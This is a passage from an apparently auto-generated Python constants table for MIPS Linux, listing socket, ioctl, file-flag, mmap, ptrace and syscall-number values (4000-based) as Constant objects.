Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nO_ACCMODE = Constant('O_ACCMODE',0x0003)\nO_RDONLY = Constant('O_RDONLY',0x0000)\nO_WRONLY = Constant('O_WRONLY',0x0001)\nO_RDWR = Constant('O_RDWR',0x0002)\nO_APPEND = Constant('O_APPEND',0x0008)\nO_DSYNC = Constant('O_DSYNC',0x0010)\nO_NONBLOCK = Constant('O_NONBLOCK',0x0080)\nO_CREAT = Constant('O_CREAT',0x0100)\nO_TRUNC = Constant('O_TRUNC',0x0200)\nO_EXCL = Constant('O_EXCL',0x0400)\nO_NOCTTY = Constant('O_NOCTTY',0x0800)\nFASYNC = Constant('FASYNC',0x1000)\nO_LARGEFILE = Constant('O_LARGEFILE',0)\nO_SYNC = Constant('O_SYNC',(0x4000|0x0010))\nO_DIRECT = Constant('O_DIRECT',0x8000)\nO_DIRECTORY = Constant('O_DIRECTORY',0x10000)\nO_NOFOLLOW = Constant('O_NOFOLLOW',0x20000)\nO_NOATIME = Constant('O_NOATIME',0x40000)\nO_CLOEXEC = Constant('O_CLOEXEC',0x80000)\nO_PATH = Constant('O_PATH',0o10000000)\n__O_TMPFILE = Constant('__O_TMPFILE',0o20000000)\nO_NDELAY = Constant('O_NDELAY',0x0080)\nF_DUPFD = Constant('F_DUPFD',0)\nF_GETFD = Constant('F_GETFD',1)\nF_SETFD = Constant('F_SETFD',2)\nF_GETFL = Constant('F_GETFL',3)\nF_SETFL = Constant('F_SETFL',4)\nF_GETLK = Constant('F_GETLK',14)\nF_SETLK = Constant('F_SETLK',6)\nF_SETLKW = Constant('F_SETLKW',7)\nF_SETOWN = Constant('F_SETOWN',24)\nF_GETOWN = Constant('F_GETOWN',23)\nF_SETSIG = Constant('F_SETSIG',10)\nF_GETSIG = Constant('F_GETSIG',11)\nFD_CLOEXEC = Constant('FD_CLOEXEC',1)\nF_RDLCK = Constant('F_RDLCK',0)\nF_WRLCK = Constant('F_WRLCK',1)\nF_UNLCK = Constant('F_UNLCK',2)\nF_EXLCK = Constant('F_EXLCK',4)\nF_SHLCK = Constant('F_SHLCK',8)\nF_INPROGRESS = Constant('F_INPROGRESS',16)\nLOCK_SH = Constant('LOCK_SH',1)\nLOCK_EX = Constant('LOCK_EX',2)\nLOCK_NB = Constant('LOCK_NB',4)\nLOCK_UN = Constant('LOCK_UN',8)\nLOCK_MAND = Constant('LOCK_MAND',32)\nLOCK_READ = Constant('LOCK_READ',64)\nLOCK_WRITE = Constant('LOCK_WRITE',128)\nLOCK_RW = Constant('LOCK_RW',192)\nO_TMPFILE = Constant('O_TMPFILE',(0o20000000 | 0x10000))\nO_ASYNC = Constant('O_ASYNC',0x1000)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FIXED = Constant('MAP_FIXED',0x010)\nMAP_NORESERVE = Constant('MAP_NORESERVE',0x0400)\nMAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x0800)\nMAP_GROWSDOWN = Constant('MAP_GROWSDOWN',0x1000)\nMAP_DENYWRITE = Constant('MAP_DENYWRITE',0x2000)\nMAP_EXECUTABLE = Constant('MAP_EXECUTABLE',0x4000)\nMAP_LOCKED = Constant('MAP_LOCKED',0x8000)\nMAP_POPULATE = Constant('MAP_POPULATE',0x10000)\nMAP_NONBLOCK = Constant('MAP_NONBLOCK',0x20000)\nMAP_STACK = Constant('MAP_STACK',0x40000)\nMAP_HUGETLB = Constant('MAP_HUGETLB',0x80000)\nMS_ASYNC = Constant('MS_ASYNC',0x0001)\nMS_INVALIDATE = Constant('MS_INVALIDATE',0x0002)\nMS_SYNC = Constant('MS_SYNC',0x0004)\nMCL_CURRENT = Constant('MCL_CURRENT',1)\nMCL_FUTURE = Constant('MCL_FUTURE',2)\nMCL_ONFAULT = Constant('MCL_ONFAULT',4)\nMADV_NORMAL = Constant('MADV_NORMAL',0x0)\nMADV_RANDOM = Constant('MADV_RANDOM',0x1)\nMADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',0x2)\nMADV_WILLNEED = Constant('MADV_WILLNEED',0x3)\nMADV_DONTNEED = Constant('MADV_DONTNEED',0x4)\nMAP_ANON = Constant('MAP_ANON',0x0800)\nMAP_FILE = Constant('MAP_FILE',0)\nPOSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0x0)\nPOSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',0x2)\nPOSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',0x1)\nPOSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',0x3)\nPOSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',0x4)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nFPR_BASE = Constant('FPR_BASE',32)\nPC = Constant('PC',64)\nCAUSE = Constant('CAUSE',65)\nBADVADDR = Constant('BADVADDR',66)\nMMHI = Constant('MMHI',67)\nMMLO = Constant('MMLO',68)\nFPC_CSR = Constant('FPC_CSR',69)\nFPC_EIR = Constant('FPC_EIR',70)\nDSP_BASE = Constant('DSP_BASE',71)\nDSP_CONTROL = Constant('DSP_CONTROL',77)\nACX = Constant('ACX',78)\nSYS_accept = Constant('SYS_accept',(4000 + 168))\nSYS_accept4 = Constant('SYS_accept4',(4000 + 334))\nSYS_access = Constant('SYS_access',(4000 +  33))\nSYS_acct = Constant('SYS_acct',(4000 +  51))\nSYS_add_key = Constant('SYS_add_key',(4000 + 280))\nSYS_adjtimex = Constant('SYS_adjtimex',(4000 + 124))\nSYS_afs_syscall = Constant('SYS_afs_syscall',(4000 + 137))\nSYS_alarm = Constant('SYS_alarm',(4000 +  27))\nSYS_bdflush = Constant('SYS_bdflush',(4000 + 134))\nSYS_bind = Constant('SYS_bind',(4000 + 169))\nSYS_bpf = Constant('SYS_bpf',(4000 + 355))\nSYS_break = Constant('SYS_break',(4000 +  17))\nSYS_brk = Constant('SYS_brk',(4000 +  45))\nSYS_cachectl = Constant('SYS_cachectl',(4000 + 148))\nSYS_cacheflush = Constant('SYS_cacheflush',(4000 + 147))\nSYS_capget = Constant('SYS_capget',(4000 + 204))\nSYS_capset = Constant('SYS_capset',(4000 + 205))\nSYS_chdir = Constant('SYS_chdir',(4000 +  12))\nSYS_chmod = Constant('SYS_chmod',(4000 +  15))\nSYS_chown = Constant('SYS_chown',(4000 + 202))\nSYS_chroot = Constant('SYS_chroot',(4000 +  61))\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',(4000 + 341))\nSYS_clock_adjtime64 = Constant('SYS_clock_adjtime64',(4000 + 405))\nSYS_clock_getres = Constant('SYS_clock_getres',(4000 + 264))\nSYS_clock_getres_time64 = Constant('SYS_clock_getres_time64',(4000 + 406))\nSYS_clock_gettime = Constant('SYS_clock_gettime',(4000 + 263))\nSYS_clock_gettime64 = Constant('SYS_clock_gettime64',(4000 + 403))\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',(4000 + 265))\nSYS_clock_nanosleep_time64 = Constant('SYS_clock_nanosleep_time64',(4000 + 407))\nSYS_clock_settime = Constant('SYS_clock_settime',(4000 + 262))\nSYS_clock_settime64 = Constant('SYS_clock_settime64',(4000 + 404))\nSYS_clone = Constant('SYS_clone',(4000 + 120))\nSYS_clone3 = Constant('SYS_clone3',(4000 + 435))\nSYS_close = Constant('SYS_close',(4000 +\t6))\nSYS_connect = Constant('SYS_connect',(4000 + 170))\nSYS_copy_file_range = Constant('SYS_copy_file_range',(4000 + 360))\nSYS_creat = Constant('SYS_creat',(4000 +\t8))\nSYS_create_module = Constant('SYS_create_module',(4000 + 127))\nSYS_delete_module = Constant('SYS_delete_module',(4000 + 129))\nSYS_dup = Constant('SYS_dup',(4000 +  41))\nSYS_dup2 = Constant('SYS_dup2',(4000 +  63))\nSYS_dup3 = Constant('SYS_dup3',(4000 + 327))\nSYS_epoll_create = Constant('SYS_epoll_create',(4000 + 248))\nSYS_epoll_create1 = Constant('SYS_epoll_create1',(4000 + 326))\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',(4000 + 249))\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',(4000 + 313))\nSYS_epoll_wait = Constant('SYS_epoll_wait',(4000 + 250))\nSYS_eventfd = Constant('SYS_eventfd',(4000 + 319))\nSYS_eventfd2 = Constant('SYS_eventfd2',(4000 + 325))\nSYS_execve = Constant('SYS_execve',(4000 +  11))\nSYS_execveat = Constant('SYS_execveat',(4000 + 356))\nSYS_exit = Constant('SYS_exit',(4000 +\t1))\nSYS_exit_group = Constant('SYS_exit_group',(4000 + 246))\nSYS_faccessat = Constant('SYS_faccessat',(4000 + 300))\nSYS_fadvise64 = Constant('SYS_fadvise64',(4000 + 254))\nSYS_fallocate = Constant('SYS_fallocate',(4000 + 320))\nSYS_fanotify_init = Constant('SYS_fanotify_init',(4000 + 336))\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',(4000 + 337))\nSYS_fchdir = Constant('SYS_fchdir',(4000 + 133))\nSYS_fchmod = Constant('SYS_fchmod',(4000 +  94))\nSYS_fchmodat = Constant('SYS_fchmodat',(4000 + 299))\nSYS_fchown = Constant('SYS_fchown',(4000 +  95))\nSYS_fchownat = Constant('SYS_fchownat',(4000 + 291))\nSYS_fcntl = Constant('SYS_fcntl',(4000 +  55))\nSYS_fcntl64 = Constant('SYS_fcntl64',(4000 + 220))\nSYS_fdatasync = Constant('SYS_fdatasync',(4000 + 152))\nSYS_fgetxattr = Constant('SYS_fgetxattr',(4000 + 229))\nSYS_finit_module = Constant('SYS_finit_module',(4000 + 348))\nSYS_flistxattr = Constant('SYS_flistxattr',(4000 + 232))\nSYS_flock = Constant('SYS_flock',(4000 + 143))\nSYS_fork = Constant('SYS_fork',(4000 +\t2))\nSYS_fremovexattr = Constant('SYS_fremovexattr',(4000 + 235))\nSYS_fsconfig = Constant('SYS_fsconfig',(4000 + 431))\nSYS_fsetxattr = Constant('SYS_fsetxattr',(4000 + 226))\nSYS_fsmount = Constant('SYS_fsmount',(4000 + 432))\nSYS_fsopen = Constant('SYS_fsopen',(4000 + 430))\nSYS_fspick = Constant('SYS_fspick',(4000 + 433))\nSYS_fstat = Constant('SYS_fstat',(4000 + 108))\nSYS_fstat64 = Constant('SYS_fstat64',(4000 + 215))\nSYS_fstatat64 = Constant('SYS_fstatat64',(4000 + 293))\nSYS_fstatfs = Constant('SYS_fstatfs',(4000 + 100))\nSYS_fstatfs64 = Constant('SYS_fstatfs64',(4000 + 256))\nSYS_fsync = Constant('SYS_fsync',(4000 + 118))\nSYS_ftime = Constant('SYS_ftime',(4000 +  35))\nSYS_ftruncate = Constant('SYS_ftruncate',(4000 +  93))\nSYS_ftruncate64 = Constant('SYS_ftruncate64',(4000 + 212))\nSYS_futex = Constant('SYS_futex',(4000 + 238))\nSYS_futex_time64 = Constant('SYS_futex_time64',(4000 + 422))\nSYS_futimesat = Constant('SYS_futimesat',(4000 + 292))\nSYS_getcpu = Constant('SYS_getcpu',(4000 + 312))\nSYS_getcwd = Constant('SYS_getcwd',(4000 + 203))\nSYS_getdents = Constant('SYS_getdents',(4000 + 141))\nSYS_getdents64 = Constant('SYS_getdents64',(4000 + 219))\nSYS_getegid = Constant('SYS_getegid',(4000 +  50))\nSYS_geteuid = Constant('SYS_geteuid',(4000 +  49))\nSYS_getgid = Constant('SYS_getgid',(4000 +  47))\nSYS_getgroups = Constant('SYS_getgroups',(4000 +  80))\nSYS_getitimer = Constant('SYS_getitimer',(4000 + 105))\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',(4000 + 130))\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',(4000 + 269))\nSYS_getpeername = Constant('SYS_getpeername',(4000 + 171))\nSYS_getpgid = Constant('SYS_getpgid',(4000 + 132))\nSYS_getpgrp = Constant('SYS_getpgrp',(4000 +  65))\nSYS_getpid = Constant('SYS_getpid',(4000 +  20))\nSYS_getpmsg = Constant('SYS_getpmsg',(4000 + 208))\nSYS_getppid = Constant('SYS_getppid',(4000 +  64))\nSYS_getpriority = Constant('SYS_getpriority',(4000 +  96))\nSYS_getrandom = Constant('SYS_getrandom',(4000 + 353))\nSYS_getresgid = Constant('SYS_getresgid',(4000 + 191))\nSYS_getresuid = Constant('SYS_getresuid',(4000 + 186))\nSYS_getrlimit = Constant('SYS_getrlimit',(4000 +  76))\nSYS_get_robust_list = Constant('SYS_get_robust_list',(4000 + 310))\nSYS_getrusage = Constant('SYS_getrusage',(4000 +  77))\nSYS_getsid = Constant('SYS_getsid',(4000 + 151))\nSYS_getsockname = Constant('SYS_getsockname',(4000 + 172))\nSYS_getsockopt = Constant('SYS_getsockopt',(4000 + 173))\nSYS_gettid = Constant('SYS_gettid',(4000 + 222))\nSYS_gettimeofday = Constant('SYS_gettimeofday',(4000 +  78))\nSYS_getuid = Constant('SYS_getuid',(4000 +  24))\nSYS_getxattr = Constant('SYS_getxattr',(4000 + 227))\nSYS_gtty = Constant('SYS_gtty',(4000 +  32))\nSYS_idle = Constant('SYS_idle',(4000 + 112))\nSYS_init_module = Constant('SYS_init_module',(4000 + 128))\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',(4000 + 285))\nSYS_inotify_init = Constant('SYS_inotify_init',(4000 + 284))\nSYS_inotify_init1 = Constant('SYS_inotify_init1',(4000 + 329))\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',(4000 + 286))\nSYS_io_cancel = Constant('SYS_io_cancel',(4000 + 245))\nSYS_ioctl = Constant('SYS_ioctl',(4000 +  54))\nSYS_io_destroy = Constant('SYS_io_destroy',(4000 + 242))\nSYS_io_getevents = Constant('SYS_io_getevents',(4000 + 243))\nSYS_ioperm = Constant('SYS_ioperm',(4000 + 101))\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',(4000 + 368))\nSYS_io_pgetevents_time64 = Constant('SYS_io_pgetevents_time64',(4000 + 416))\nSYS_iopl = Constant('SYS_iopl',(4000 + 110))\nSYS_ioprio_get = Constant('SYS_ioprio_get',(4000 + 315))\nSYS_ioprio_set = Constant('SYS_ioprio_set',(4000 + 314))\nSYS_io_setup = Constant('SYS_io_setup',(4000 + 241))\nSYS_io_submit = Constant('SYS_io_submit',(4000 + 244))\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',(4000 + 426))\nSYS_io_uring_register = Constant('SYS_io_uring_register',(4000 + 427))\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',(4000 + 425))\nSYS_ipc = Constant('SYS_ipc',(4000 + 117))\nSYS_kcmp = Constant('SYS_kcmp',(4000 + 